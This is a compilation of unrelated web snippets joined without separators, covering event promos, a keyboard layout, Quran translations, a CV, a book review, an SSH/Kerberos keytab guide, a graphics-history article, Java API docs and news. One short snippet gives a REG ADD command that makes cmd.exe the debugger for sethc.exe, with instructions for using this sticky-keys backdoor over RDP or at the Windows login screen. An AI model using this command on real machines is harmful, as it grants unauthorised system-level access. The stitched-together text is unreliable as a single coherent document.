Whistler, British Columbia
May 26th
Join us in Whistler as Extreme Mountain bikers take on the hills and curves of British Columbia.
directions...Aquo-Thon | Aquo Swing | Aquo Ultra Marathon | Aquo Extreme Ski
Join us in Whistler as Extreme Mountain bikers take on the hills and curves of British Columbia.
directions...


Version 1.1.1
Copyright (C) 2018-2021 SIL International
This Gondi (Devanagari) Keyman keyboard has been designed for use on physical keyboards (desktops and laptops) as well as hand-held touch devices (such as smart phones and tablets). It works on most of the currently available Operating Systems: Windows, Linux, MacOS, Android, and iOS. The keyboard had been optimized for the Gondi languages spoken in Central India. The ISO 639-3 codes for these languages are gon, gno, esg, wsg, mrr, emu, fmu and mut.


|
SlideTutor is a new kind of medical educational system that provides a virtual appreticeship
- simulated environment for learning accurate pathologic diagnosis and reporting
- can be used by pathology residents, fellows, and practicing pathologists
- uses “virtual slides” that you can examine just as you
would look at cases under your microscope
- provides space for you to describe what you are seeing and
deciding, as well as space to type your report
- monitors your work, and steps in with helpful explanations
if you make a mistake
- gives advice when you need help
- keeps track of how you are learning, and adapts its'
interaction to fit your specific educational needs
requires Java 1.5 or higher to run
|
|


| 064:010 Khan | : |
But those who disbelieved (in the Oneness of Allah - Islamic Monotheism) and denied Our Ayat (proofs, evidences, verses, lessons, signs, revelations, etc.), they will be the dwellers of the Fire, to dwell therein forever. And worst indeed is that destination. |
| 064:010 Maulana | : |
And those who disbelieve and reject Our messages, they are the companions of the Fire, abiding therein; and evil is the resort. |
| 064:010 Pickthal | : |
But those who disbelieve and deny Our revelations, such are owners of the Fire; they will abide therein - a hapless journey's end! |
| 064:010 Rashad | : |
As for those who disbelieve and reject our revelations, they are the dwellers of the Hellfire; they abide therein forever. What a miserable destiny! |
| 064:010 Sarwar | : |
As for those who have disbelieved and rejected Our revelations, they will dwell forever in hell fire, a terrible fate. |
| 064:010 Shakir | : |
And (as for) those who disbelieve and reject Our communications, they are the inmates of the fire, to abide therein and evil is the resort. |
| 064:010 Sherali | : |
But those who disbelieve and reject Our Signs, these shall be the inmates of the Fire, wherein they shall abide; and an evil destination it is ! |
| 064:010 Yusufali | : |
But those who reject Faith and treat Our Signs as falsehoods, they will be Companions of the Fire, to dwell therein for aye: and evil is that Goal. |
Concepts/Themes Covered: أركان الإسلام > التوحيد > الكافرون > الجاحدون من الكفار Pillars of Islam> Islamic> The Disbelievers> The Deniers of the Disbelievers أركان الإسلام > التوحيد > الكافرون > صفات الكفار Pillars of Islam> Islamic> The Disbelievers> The Characteristics of the Disbelievers الإيمان > الغيب > الخلود > الخلود في العذاب Faith> The Unseen World> The Eternity> The Immortality in Torture الإيمان > الغيب > النار > أسماء النار > بئس المصير Faith> The Unseen World> Hell-Fire>Hell Names> Bad End الإيمان > الغيب > النار > أصحاب النار Faith> The Unseen World> Hell-Fire>Hell Fellows
This tool uses eight English parallel translations for the Holy Quran imported from Mr. Clay Smith. You can also visit Qurany Concepts for browsing the Quran themes or topics. If you want to search the Holy Quran for keywords, please visit Qurany Keywords.


M-Tech in Computer Engineering
Punjabi University Patiala Punjab, IndiaDisserttation Project : Analysis of Ant Colony Optimization based protocols in MANETs
Minor Project : Segmentation and image inhancement
Disserttation Project : Analysis of Ant Colony Optimization based protocols in MANETs
Minor Project : Segmentation and image inhancement
Dissertation Project : Wired and Wireless communication(Six months)


This book deals with a subject that I never thought could be a matter of concern. You might be wondering, due to the title of the book, that which are the 2 cultures that the author is talking about. So let me introduce you to the book a little. For this, let me quote from the introduction done by Stefan Collini:-
"The notion that our society, its education system and its intellectual life, is characterized by a split between two cultures - the arts or humanities on one hand, and the sciences on the other - has a long history"
Yes, the author is talking about the art and the science cultures as to opposite poles. The very concept of art and science being against each other didn't make sense to me. As from ancient times, we have read that science, which is mostly developmental, comes from creativity. And also that .art. is the other name of creativity. From the examples of Leonardo Da Vinci to Aristotle, we have heard of examples over examples about how art complemented and motivated science.
The writter very nicely takes us through his experiences as a member of both, the writter community and the scientific-community. About how the intellectuals of the highest class in both of these sections do not agree on the same matter. About the differences seen in seemingly similar people.
Although the book is a journey in which one can learn from the writter's experiences, the book neither aims to teach a lesson to the reader, nor is it just for leisure reading. But through this medium, the writer wants to direct the attention of the masses to this great upcoming problem. He fears that the two cultures might lose coordination. Because if they lose it, it will be a great blow to the man-kind. The rate of human development will suddenly drop and the world might stop making itself better for the humans.
He might also be aiming the youth, the people who are yet to become intellectuals in one of these proffesions. He wants every person to appreciate the differences in thoughts of people from different backgrounds and respect them for whatever they have achieved in whichever field they are working in.
Although a lot of people, who are into literature and reading, have praised this writing of C.P.Snow, I, being new to the reading world, do not find it quite attractive, and recommend a new reader not to start with this. But for an aspiring intellectual in any field, it is worth a try.


SSH + Kerberos + Keytabs on MacOS
Last updated: January 2021
Kerberos is a convenient way to authenticate and obtain access to remote machines via SSH. Instead of typing your password every time you want to access a remote computer, you can type your password only once and obtain a Kerberos ticket, which serves as a ‘passport’ and saves typing effort during subsequent connections.
However, Kerberos tickets usually expire in 24 hours, so you still need to type (and therefore remember) your password at least once a day. Kerberos keytab files make the authentication process even more convenient. With keytabs, you type your password once, it gets encrypted according to the chosen encryption method, and then the encrypted password in the keytab file can be used to obtain a Kerberos ticket, which will subsequently grant access to the remote machine. Never type your password again!
But be careful to make the keytab file readable only by you, the owner, as anyone with a read access to a keytab file will automatically have access to the remote machine as well (though they still won’t know your password, since it’s encrypted).
To get SSH with Kerberos + keytabs working, it’s a long and harrowing road… But let’s start with the first step.
Get SSH + Kerberos + Keytabs working:
Updated January 2021 1. There is a better way to obtain an SSH binary with GSSAPITrustDNS support than outlined below. Using Homebrew, run:
(from https://github.com/rdp/homebrew-openssh-gssapi)
1. **See above** Obtain correct SSH binary. If you have MacOS Sierra, it comes with an updated version of OpenSSH that drops some options that support Kerberos authentication (the most important being `GSSAPITrustDNS`). What's necessary here is to find an SSH binary from El Capitan and then copy it to your `/usr/local/bin` folder, and make sure that the `$PATH` variable points first to that folder, before pointing to `/usr/bin` (where the native SSH binary lives), so that it will be picked up first by the system.
2. Adjust Kerberos configuration. This is a complicated process but you can just copy the right `krb5.conf` to your system, placing it in `/etc/krb5.conf`. Here is mine:
3. Enable Kerberos authentication in SSH config. For each remote network you want to connect to (e.g. Fermilab, CLASSE, CERN), edit the file `~/.ssh/config` to be similar to this one: It’s important to have the `GSSAPI\*` options and the `PreferredAuthentications` option like in the file, to allow Kerberos authentication.
4. Make a keytab file with your encrypted password. This step is to create a keytab file containing your password that will be fed to the kinit command in order to obtain a Kerberos ticket. On MacOS X (which comes with the Heimdal flavor of Kerberos, and not MIT’s) the command to add a password for CERN’s account is:
```
$ ktutil -k ~/keytab add -p<EMAIL_ADDRESS>-e arcfour-hmac-md5 -V 3
```
MacOS will complain about the chosen encryption but it’s the only one that kinit supports for automation of CERN’s network connection (as far as I know). Other encryptions also contain a “salt” that `ktutil` doesn’t handle well (see https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=698534 and https://serverfault.com/questions/620521/kerberos-ktutil-what-kinds-of-encryption-are-available). The equivalent command for a CLASSE entry would be:
```
$ ktutil -kt ~/keytab add -p<EMAIL_ADDRESS>-e aes256-cts-hmac-sha1-96 -V 1
```
You can also make your keytab file when logged in to one of the remote machines. For example, if you are on a lxplus machine, you can create a keytab file with a different version of the Kerberos tools (MIT’s one):
```
$ ktutil
addent -password -p<EMAIL_ADDRESS>-k 3 -e arcfour-hmac-md5
(type your password)
wkt keytab
quit
```
(for more info see here https://kb.iu.edu/d/aumh). Now the keytab file in your home directory contains your encrypted passwords for access to CERN’s and CLASSE’s networks.
5. Use the keytab file to authenticate to `kinit`. The command `$ kinit —afslog -kt ~/keytab<EMAIL_ADDRESS>or `$ kinit -ky ~/keytab<EMAIL_ADDRESS>should now grant you Kerberos tickets without having to type your password. Note that you could include this command in (start-up) scripts, so that you always have a connection on. Neat!
6. SSH to remote machine as usual. For example, `ssh<EMAIL_ADDRESS>or `ssh<EMAIL_ADDRESS>Again your password shouldn’t be asked anymore.
7. Remember to set the permissions of the keytab file to read-only by you! Anyone with read access to this file could log in to your accounts, so make sure it can only be readable by you.
More (partial) info: http://linux.web.cern.ch/linux/docs/kerberos-access.shtml


{% load markdown_deux_tags %} {% with email_contact.is_preferred as preferred %}
{{ email_contact.notes|markdown }}


Last time...
Last time, we talked about some basic principles of 2D graphics and how one might implement a basic 2D graphics rasterizer. Today, we'll take a step back and look a bit more carefully about what we did. Along the way, we'll develop a more generalized and abstract model for 2D graphics and rasterization, and from that new understanding, start building the standard toolbox of techniques that is commonly seen in vector graphics: affine transformations, filled polygons, Bezier curves. Finally, we'll contrast this with contemporary 3D graphics and GPUs, and see if we can find some commonality between our approaches.
It's worth pointing out that while we do have a "standard toolbox" consisting of strokes, fills, line caps, mitered joints and Bezier curves that's seen consistently from HTML5's <canvas> to Microsoft's GDI, it wasn't always this way. Though we rarely hear of it today, a little language known as PostScript remains quite possibly the largest influence for programmers and artists that interact with 2D vector graphics. Since it's important (and fun!) to learn, let's take a trip back in time. Back before CRTs and pixels. Back, all the way, to the 1960s.
The rise of PostScript
The early days of computer graphics were dominated by "plotter printers" which operated on a pen-down, pen-up kind of fashion, usually driven by some form of basic ASCII command language. HP, manufacturer of some of the earliest plotter printers, used a variant of BASIC called "AGL" which sent commands in a proprietary language, HP-GL, to the printer. During the 1970s, we saw the rise of affordable graphics terminals, starting with the Tektronix 4010. It has a CRT for its display, but don't be fooled: it's not a pixel display. Tektronix came from the analog oscilloscope industry, and these machines work by driving the electron beam dynamically, not in a grid-like order. As such, the Tektronix 4010 didn't have pixel output. Instead, you sent commands to it with a simple graphing mode that drew lines but, again, in a pen-up pen-down fashion.
Like a lot of other inventions, this all changed at Xerox PARC. Researchers there were starting to develop a new kind of printer, one that was more computationally expressive than what was seen in plotters. This new printer was based on a small, stack-based Turing-complete language called Forth, and they named it... the Interpress! PARC, obviously, was unable to sell it, so the inventors jumped ship and founded a small, scrappy startup named "Adobe". They took Interpress with them and tweaked it until was no longer recognizable as Interpress, and they renamed it PostScript. Besides the cute, Turing-complete stack-language language it comes with to calculate its shapes, the original PostScript Language Reference marks up an Imaging Model in Chapter 4, near-identical to the APIs we widely see today. Example 4.1 of the manual has a code example which can be translated to HTML5 <canvas> nearly line-by-line:
/box {
newpath
0 0 moveto
0 1 lineto
1 1 lineto
1 0 lineto
closepath
} def
gsave
72 72 scale
box fill
2 2 translate
box fill
grestore
function box() {
ctx.beginPath();
ctx.moveTo(0, 0);
ctx.lineTo(0, 1);
ctx.lineTo(1, 1);
ctx.lineTo(1, 0);
ctx.closePath();
}
ctx.save();
ctx.scale(72, 72);
box(); ctx.fill();
ctx.translate(2, 2);
box(); ctx.fill();
ctx.restore();
This is not a coincidence.
Apple's Steve Jobs had met the Interpress engineers on his visit to PARC. Jobs thought that the printing business would be lucrative, and tried to simply buy Adobe outright. Instead, Adobe countered and instead sold a five-year license for PostScript to Apple. At the same time, Jobs and Apple were funding a small startup, Aldus, which was making a WYSIWYG app to create PostScript documents, "PageMaker". In early 1985, Apple released the first PostScript-compliant printer, the Apple LaserWriter. The combination of the point-and-click Macintosh, PageMaker, and the LaserWriter singlehandedly turned the printing industry on its head, giving way to "desktop publishing" and solidifying PostScript its place in history. The main competition, Hewlett-Packard, would eventually license PostScript for its competing LaserJet series of printers in 1991, after consumer pressure.
PostScript slowly moved from being a printer control language to a file format in and of itself. Programmers
eventually noticed the underlying PostScript sent to the printers, and started writing PostScript documents by
hand, introducing charts and graphs and art to their documents. Demand sprung up for PostScript outside of the
printer. Adobe noticed, and quickly rushed out the
Encapsulated PostScript format.
It used specially formatted PostScript comments to give metadata about the size of the image,
its preferred orientation, and so on, and restricted the use of the more "printer-y" commands, like "page feed".
That same year, 1985, Adobe started development on "Illustrator", an application for artists to create Encapsulated
PostScript files through a point-and-click interface. These Encapsulated PostScript files could then be placed into
Word Processors, which then created... PostScript documents which were sent to PostScript printers. The whole world
was PostScript, and Adobe couldn't be happier. Microsoft, while working on Windows 95, wanted to create its own
graphics API for developers, and a primary goal was making it PostScript-compatible so the graphics could be sent
to a printer as easily as a screen. This API was eventually released as
GDI.
The only major problem with PostScript was its Turing-completeness — viewing page 86 of a document means
first computing pages 1-85. And that could be slow. Adobe caught wind of this user complaint, and decided to
create a new document format that didn't have these restrictions, called the "Portable Document Format", or
"PDF" for short. A quote from the
PDF specification, Chapter 2.1, "Imaging Model":
At the heart of PDF is its ability to describe the appearance of sophisticated graphics and
typography. This ability is achieved through the use of the Adobe imaging model, the same high-level,
device-independent representation used in the PostScript page description language.
By the time the W3C wanted to develop a 2D graphics markup language for the web, Adobe championed the XML-based
PGML, which had the PostScript graphics model
front and center. PGML should encompass the PDF/PostScript imaging model to guarantee a 2D scalable
graphics capability that satisfies the needs of both casual users and graphics professionals.
Microsoft's competing format,
VML, was based on GDI, which was based on PostScript. Both
standards were eventually combined to make up W3C's "Scalable Vector Graphics" ("SVG") technology.
Even though it's old, let's not pretend that the innovations PostScript brought to the world are anything less than a technological marvel. Apple's PostScript printer, the LaserWriter, had a CPU twice as powerful as the Macintosh that was controlling it, just to interpret the PostScript and rasterize the vector paths to points on paper. That might seem excessive, but if you were already buying a fancy printer with a laser in it, the expensive CPU on the side doesn't seem so expensive in comparison. In its first incarnation, PostScript invented a fairly sophisticated imaging model, with all the features that we take for granted today. But the most powerful, wowing feature? Fonts. Fonts were, at the time, drawn by hand with rule and protractor, and cast onto film, to be printed photochemically. In 1977, Donald Knuth showed the world what could be with his METAFONT system, introduced together with his typesetting application TeX, but it didn't catch on. It required the user to describe fonts analytically, using brushes and curves, which wasn't a skill that most typographers really wanted to learn. And such fancy curves turned into mush at small sizes: the printers of the time did not have dots small enough, so they tended to bleed and blur into each other. Adobe's PostScript proposed a novel solution to this: an algorithm to "snap" these paths to the coarser grids that printers had. This is known as "grid-fitting". To prevent the geometry from getting too distorted, they allowed fonts to specify "hints" about what parts of the geometry were the most important, and how much should be preserved.
Adobe's original business model was to sell this font technology to people that make printers, and sell special recreations of fonts, with added hints, to publishers, which is why Adobe, to this day, sells their versions of Times and Futura. Adobe can do this, by the way, because fonts, or, more formally, "typefaces", are one of five things explicitly excluded by US Copyright Law, since they were originally designated as "too plain or utilitarian to be creative works". What is sold and copyrighted instead is the digital program that reproduces the font on the screen. So, to prevent people from copying Adobe's fonts and adding their own, the Type 1 Font format was originally proprietary to Adobe and contained "font encryption" code. Only Adobe's PostScript could interpret a Type 1 Font, and only Adobe's Type 1 Fonts had the custom hinting technology allowing them to be visible at small sizes. Once Adobe pivoted towards the prosumer software market instead, they later standardized and released the specifications to Type 1 Fonts.
Grid fitting and font hinting, by the way, was so universally popular that when Microsoft and Apple were tired of paying licensing fees to Adobe, they invented an alternate method for their font file competitor, TrueType. Instead of specifying declarative "hints", TrueType gives the font author a complete Turing-complete stack language so that the author can control every part of grid-fitting (and coincidentally avoid Adobe's patents on declarative "hints"). For years, the wars between the Adobe-backed Type 1 and the TrueType raged on, with font foundries being stuck in the middle, having to provide both formats to their users. Eventually, the industry reached a compromise: OpenType. But rather than actually decide a winner, they simply plopped both specifications into one file format: Adobe took Type 1 fonts, removed the encryption bits, gave them a small amount of spit polish, and released CFF / Type 2 fonts, which were grafted into OpenType wholesale as the cff table. TrueType, on the other hand, got shoved in as glyf and other tables. OpenType, while ugly, seemed to get the job done for users, mostly by war of endurance: just require that all software supports both kinds of fonts, because OpenType requires you to support both kinds of fonts.
Of course, we're forced to ask: if PostScript didn't become popular, what might have happened instead? It's worth looking at some other alternatives. The previously mentioned METAFONT didn't use filled paths. Instead, Knuth, in typical Knuth fashion, rigourously defines in his paper Mathematical Typography the concept of a curve that is "most pleasing". You specify a number of points, and some algorithm finds the one correct "most pleasing" curve through them. You can stack these paths on top of each other: define such a path as a "pen", and then "drag the pen" through some other path. Knuth introduced componentization and recursion to path definition. Knuth's thesis student, John Hobby, designed and implemented algorithms for calculating the "most pleasing curve", "flattening" the nested recursion of paths, and rasterizing such curves. For more on METAFONT, curves, and the history of font technology in general, I highly recommend the detailed reference of Fonts & Encodings, and the papers of John D. Hobby.
... Apologies if that was too long. I hope that was as fascinating to you as it is to me. Let's get back to our toy rasterizer.
Establishing Coverage
In the first article, we established the idea of "coverage", and the process of "rasterization", which takes our ideal shape and lossily maps it onto the pixel grid. So, for now, let's continue our understanding of shapes and coverage by tossing the color out the window. The fancy fill styles, the colors, the gradients, they weren't really that important: they were sort of the final shiny effect after we rasterized our shape. But for now, let's make bigger shapes. Better shapes. Polygons and polylines and fancy splines under the influence of affine transformations. Where we're going, we don't need color, we need coverage.
As a refresher, let's give you some basic coverage. Basic, geometric, functional methods of coverage. You give me a function that tells me whether it's inside or outside the shape, I plot it on the grid. You ready?
You'll be seeing this sort of code editor show up across this article. Try to both read and understand the
reference code. To help you out, you can modify and play with it! Don't be afraid, it won't freeze your
browser, even if you stick in a while(true) ;
in there. You can also resize the final output
canvas to make it taller if you want more room to play.
Also, just so you're aware, graphics code tends to have short and sweet variable names. "x" and "y" should hopefully be pretty obvious, but conventions like "dx", "cx", "sy" are a bit less obvious. In my code, "dx" means "distance x" or "delta x" and means a difference between two X coordinates. The "c" in "cx" tends to stand for "center", and the "s" in "sy" tends to stand for "shape", as in, the shape's coordinates. "w" is width, "h" is height, "hw" is "half-width". You'll also see "x2" which tends to mean "the right side of a rectangle", aka "x+w". The more you play with it, the more you start to recognize and be able to read graphics code. I tell you now because when you go look it up, you'll see this sort of stuff everywhere, and it's a really good habit to figure out how to read this more... terse sort of graphics lingo. Everyone has their own style, and I certainly am not the best or cleanest programmer, but it matches the level of terseness you'll see among the industry. It can be challenging, but if I can figure it out, so you can you. I promise.
Combining Shapes
Now that you're familiar with the basics, let's start off with a puzzle. Let's say we wanted to build a long, "capsule" type shape. It has caps for circles at the ends, connected with a giant rectangle in the middle. Using the tools we have right now, can we combine them to make this new shape?
We can, of course, combine shapes by using boolean operators. In the above example, we're considered inside the capsule as long as we're inside any of the shapes: the two circles or the connecting rectangle. This technique goes back to the earliest days of computer graphics, but modern variations on the technique have brought it back from the realm of the forgotten.
Of course, we can also use all the boolean operators available to us, in the same way we calculated our bands in Regional Geometry, to union, intersect, subtract, and xor shapes. What kinds of shapes can you come up with?
Squash and Stretch
We've mostly played with circles and rectangles, and it's easy to see why: they're extremely basic and simple primitives. But sometimes we want things that move with weight, things that have elasticity, things that morph and rotate and skew. It's important for animation, after all. We can easily adjust our coordinates of a rectangle to make it wider than tall, but it's a bit unclear about how to do that with a circle. And what about other transformations besides simple scaling, like skewing or rotating? It's unrealistic to modify all of our primitives to support this. How can we easily, generically implement transformations?
It becomes easy by changing our perspective. Instead of changing our shapes, we change how we sample it. To make an ellipse that's twice as long, we put our samples closer together along the X axis. You can also think of this as "shrinking" our pixel grid. When we unshrink the pixel grid back to normal again, we find an elongated circle.
We can actually implement a lot of different kinds of transformations this way. By morphing our grid in weird ways, we can implement something along the lines of Photoshop filters to our shape. This functionality isn't something usually provided in typical 2D graphics libraries. There, they restrict our ability to squash and stretch to something a bit simpler to render, called a "linear transformation".
A linear transformation is one that only adds the inputs together, without
using anything like sines or divisions. Any linear equation can be normalized to take the form x' = 1*x + 3*y
,
where we line up the variables in order and put the multiplicative terms. As a notational convenience,
we can drop the "template" part of the expression and just jot down the coefficients, in a sort of box shape.
The resulting box is known as a matrix. Matrices have lots of uses in math
and computer science and graphics but it's easy to forget that it means the same as the above set of
linear expressions. You might have seen these matrices before. If you're having trouble with matrices, try
converting them to expression form — I often find the expression form is easier to read and understand.


val lock: LockedPagedViewStateStore<V>
Return LockedPagedViewStateStore obtained by casting this instance. Use this for forbid access to set and post functions without a PagedViewStateStoreScope
this
set
post


|
JavaTM 2 Platform Standard Ed. 5.0 |
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object javax.swing.JFormattedTextField.AbstractFormatter javax.swing.text.DefaultFormatter
public class DefaultFormatter
DefaultFormatter
formats aribtrary objects. Formatting is done
by invoking the toString
method. In order to convert the
value back to a String, your class must provide a constructor that
takes a String argument. If no single argument constructor that takes a
String is found, the returned value will be the String passed into
stringToValue
.
Instances of DefaultFormatter
can not be used in multiple
instances of JFormattedTextField
. To obtain a copy of
an already configured DefaultFormatter
, use the
clone
method.
Warning:
Serialized objects of this class will not be compatible with
future Swing releases. The current serialization support is
appropriate for short term storage or RMI between applications running
the same version of Swing. As of 1.4, support for long term storage
of all JavaBeansTM
has been added to the java.beans
package.
Please see XMLEncoder
.
JFormattedTextField.AbstractFormatter
| Constructor Summary | |
|---|---|
DefaultFormatter()
Creates a DefaultFormatter. |
| Method Summary | |
|---|---|
Object |
clone()
Creates a copy of the DefaultFormatter. |
boolean |
getAllowsInvalid()
Returns whether or not the value being edited is allowed to be invalid for a length of time. |
boolean |
getCommitsOnValidEdit()
Returns when edits are published back to the JFormattedTextField . |
protected DocumentFilter |
getDocumentFilter()
Returns the DocumentFilter used to restrict the characters
that can be input into the JFormattedTextField . |
protected NavigationFilter |
getNavigationFilter()
Returns the NavigationFilter used to restrict where the
cursor can be placed. |
boolean |
getOverwriteMode()
Returns the behavior when inserting characters. |
Class<?> |
getValueClass()
Returns that class that is used to create new Objects. |
void |
install(JFormattedTextField ftf)
Installs the DefaultFormatter onto a particular
JFormattedTextField . |
void |
setAllowsInvalid(boolean allowsInvalid)
Sets whether or not the value being edited is allowed to be invalid for a length of time (that is, stringToValue throws
a ParseException ). |
void |
setCommitsOnValidEdit(boolean commit)
Sets when edits are published back to the JFormattedTextField . |
void |
setOverwriteMode(boolean overwriteMode)
Configures the behavior when inserting characters. |
void |
setValueClass(Class<?> valueClass)
Sets that class that is used to create new Objects. |
Object |
stringToValue(String string)
Converts the passed in String into an instance of getValueClass by way of the constructor that
takes a String argument. |
String |
valueToString(Object value)
Converts the passed in Object into a String by way of the toString method. |
| Methods inherited from class javax.swing.JFormattedTextField.AbstractFormatter |
|---|
getActions, getFormattedTextField, invalidEdit, setEditValid, uninstall |
| Methods inherited from class java.lang.Object |
|---|
equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Constructor Detail |
|---|
public DefaultFormatter()
| Method Detail |
|---|
public void install(JFormattedTextField ftf)
DefaultFormatter
onto a particular
JFormattedTextField
.
This will invoke valueToString
to convert the
current value from the JFormattedTextField
to
a String. This will then install the Action
s from
getActions
, the DocumentFilter
returned from getDocumentFilter
and the
NavigationFilter
returned from
getNavigationFilter
onto the
JFormattedTextField
.
Subclasses will typically only need to override this if they
wish to install additional listeners on the
JFormattedTextField
.
If there is a ParseException
in converting the
current value to a String, this will set the text to an empty
String, and mark the JFormattedTextField
as being
in an invalid state.
While this is a public method, this is typically only useful
for subclassers of JFormattedTextField
.
JFormattedTextField
will invoke this method at
the appropriate times when the value changes, or its internal
state changes.
install
in class JFormattedTextField.AbstractFormatter
ftf
- JFormattedTextField to format for, may be null indicating
uninstall from current JFormattedTextField.public void setCommitsOnValidEdit(boolean commit)
JFormattedTextField
. If true, commitEdit
is invoked after every valid edit (any time the text is edited). On
the other hand, if this is false than the DefaultFormatter
does not publish edits back to the JFormattedTextField
.
As such, the only time the value of the JFormattedTextField
will change is when commitEdit
is invoked on
JFormattedTextField
, typically when enter is pressed
or focus leaves the JFormattedTextField
.
commit
- Used to indicate when edits are commited back to the
JTextComponentpublic boolean getCommitsOnValidEdit()
JFormattedTextField
.
public void setOverwriteMode(boolean overwriteMode)
overwriteMode
is true (the default), new characters
overwrite existing characters in the model.
overwriteMode
- Indicates if overwrite or overstrike mode is usedpublic boolean getOverwriteMode()
public void setAllowsInvalid(boolean allowsInvalid)
stringToValue
throws
a ParseException
).
It is often convenient to allow the user to temporarily input an
invalid value.
allowsInvalid
- Used to indicate if the edited value must always
be validpublic boolean getAllowsInvalid()
public void setValueClass(Class<?> valueClass)
valueClass
- Class used to construct return value from
stringToValuepublic Class<?> getValueClass()
public Object stringToValue(String string) throws ParseException
getValueClass
by way of the constructor that
takes a String argument. If getValueClass
returns null, the Class of the current value in the
JFormattedTextField
will be used. If this is null, a
String will be returned. If the constructor thows an exception, a
ParseException
will be thrown. If there is no single
argument String constructor, string
will be returned.
stringToValue
in class JFormattedTextField.AbstractFormatter
string
- String to convert
ParseException
- if there is an error in the conversionpublic String valueToString(Object value) throws ParseException
toString
method.
valueToString
in class JFormattedTextField.AbstractFormatter
value
- Value to convert
ParseException
- if there is an error in the conversionprotected DocumentFilter getDocumentFilter()
DocumentFilter
used to restrict the characters
that can be input into the JFormattedTextField
.
getDocumentFilter
in class JFormattedTextField.AbstractFormatter
protected NavigationFilter getNavigationFilter()
NavigationFilter
used to restrict where the
cursor can be placed.
getNavigationFilter
in class JFormattedTextField.AbstractFormatter
public Object clone() throws CloneNotSupportedException
clone
in class JFormattedTextField.AbstractFormatter
CloneNotSupportedException
- if the object's class does not
support the Cloneable
interface. Subclasses
that override the clone
method can also
throw this exception to indicate that an instance cannot
be cloned.Cloneable
|
JavaTM 2 Platform Standard Ed. 5.0 |
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
Copyright © 2004, 2010 Oracle and/or its affiliates. All rights reserved. Use is subject to license terms. Also see the documentation redistribution policy.


Law firm reveals full trainee intake retention
LAW firm Pinsent Masons has unveiled its new trainees for 2019-21, with another four recruits entering its award-winning programme.
And the investment builds on a strong platform last year, with the firm announcing a 100 per cent retention rate for its quartet of 2017-19 students.
Taking up their posts as newly-qualified solicitors are Danielle McKeefry (corporate), Hannah Megarry (property) and Lisa McGrady (litigation), while Rory Copeland (banking) joins the London office.
Regan Martin, Ben McDowell, Aisling Taggart and Emma Swan have now commenced their training contract programmes.
Belfast office head Andrea McIlroy-Rose said: "I'm delighted to see us maintain our strong level of investment in the lawyers of tomorrow. We pride ourselves in providing a first-rate training programme.
"Our entrants start their experience with a trainee conference, where they have the opportunity to meet counterparts from other Pinsent Masons offices.
"As well as properly structured legal training, we also provide broader skills training such as networking and client engagement. The programme is supported by a dedicated team ensuring that our people get the best out of the experience of training with us."
Pinsent Masons has been recognised with a number of recent significant accreditations including No.1 LGBT+ employer in Stonewall's Workplace Equality Index and The Times' Top 50 Employers for Women.


Link to Privilege Escalation > Windows > Physical Access >
Can also be used for a backdoor in RDP. Set the reg key:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f
Connect to Remote Desktop
Hit F5 a bunch of times until you get your prompt
Locally, trigger this by pressing shift five times, or by clicking the utilman button on the login screen, slecting the stickykeys option and pressing OK/Apply


I am a Software & Hardware Engineer interested in leveraging technology to make the world a better place, whether that be inventing a new device or connecting the world through social media!
I was born and raised in the suburbs of Los Angeles. Growing up my sister and I suffered from what are known as "invisible diseases"; the hospital was almost a second home for us. Because of this I always thought I would become a doctor, but as I grew older - I became engrossed with how technology (specifically social media) became a daily necessity for many people. One would think this is a negative consequence, but I disagree. Technology has the ability to change the world by connecting and improving the lives of all people and I want to be a part of this movement.
My current career interests: Software Engineering & Product Management!
Currently developing REST APIs for Workday's new Supply Chain Management product. Branching into Machine Learning.
Rendered millions of process transaction data using SQL to identify process flow bottlenecks; using Python3 developed a prototype modeling program to generate transaction flow metrics.
Product Evangelist for the Ambient Light & UV Sensors product group - gained Fitbit as a customer during my internship. Used MATLAB to create a prototype Sales and Profit Modeling Application - this identified $200,000 of lost revenue due to mismatched Billing of Instruments.
Modeled and classified the decay rate of teeth in canines using MATLAB; with this data I developed a data acquisition algorithm that could determine if a canines tooth needed to be removed due to potential infections. Took it a step further by creating an Arduino based surgical device that would notify surgeons if a tooth needed to be removed (this device is in use today in the UC Davis Veterinary Hospital).
Designed, manufactured, and programmed (used C) a model car that could traverse a series of obstacles.
Tackled a data transformation project regarding U.A.V.s using XML & SOAP.
Apart from being a Software Engineer, I enjoy being outdoors. I am an avid traveler and photographer. My dream is to be able to visit every country in the world. Outside of traveling and photography, I am avid snowboarder and novice climber.
When forced indoors, I am guilty of being a couch potato who enjoys watching numerous T.V. shows. Additionally, I am an aspiring chef - what can I say, my signature dish is Steak & Eggs!


Huffduffer Radiodan Client
Programme a card
Current playlist
Clear
#
Title
Artist
Length
Remove
Playlist is empty


com.vividsolutions.jts.operation.linemerge
Classes
EdgeString
LineMergeDirectedEdge
LineMergeEdge
LineMergeGraph
LineMerger
LineSequencer


Link7
How about this many.


Development - dawn
Build script - utils/dawn/skyline.dawn.sh
The Skyline dawn branch adds a build script, it is not recommended for production use without configuring suitable firewall rules, reconfiguring Graphite and deploying a proper SSL certificate.
Warning
When running this test instance there are expected to be errors in
the logs to begin with and if you choose to not install Graphite there are no
real metrics or data, there are no settings.ALERTS
, etc, etc. In fact
if you choose to not install Graphite, there are no real time series apart
from the horizon.test.udp
data seeded into Redis, which goes stale
quickly and the Skyline /now and /panorama pages are not going to display graph
data on the test horizon.test.udp
data.
This build script is written to try and ensure a secure set up as possible, with the exception of the definitions of iptables/iptables6/ufw. It should not be used to deploy any other kind of environment unless the other components such as Graphite, iptables/iptables6/ufw are configured at the same time. The build script is suitable for:
CentOS Stream 8 (last build time 20 mins)
Ubuntu 18.04 LTS (last build time 24 mins)
Ubuntu 20.04 LTS (last build time 21 mins)
NO LONGER SUPPORTED (as CentOS 7 is on python 2.7 and/or rh SCL 3.6 which are incompatible with Skyline) CentOS 7.5 and 7.6 (last build time 23 mins)
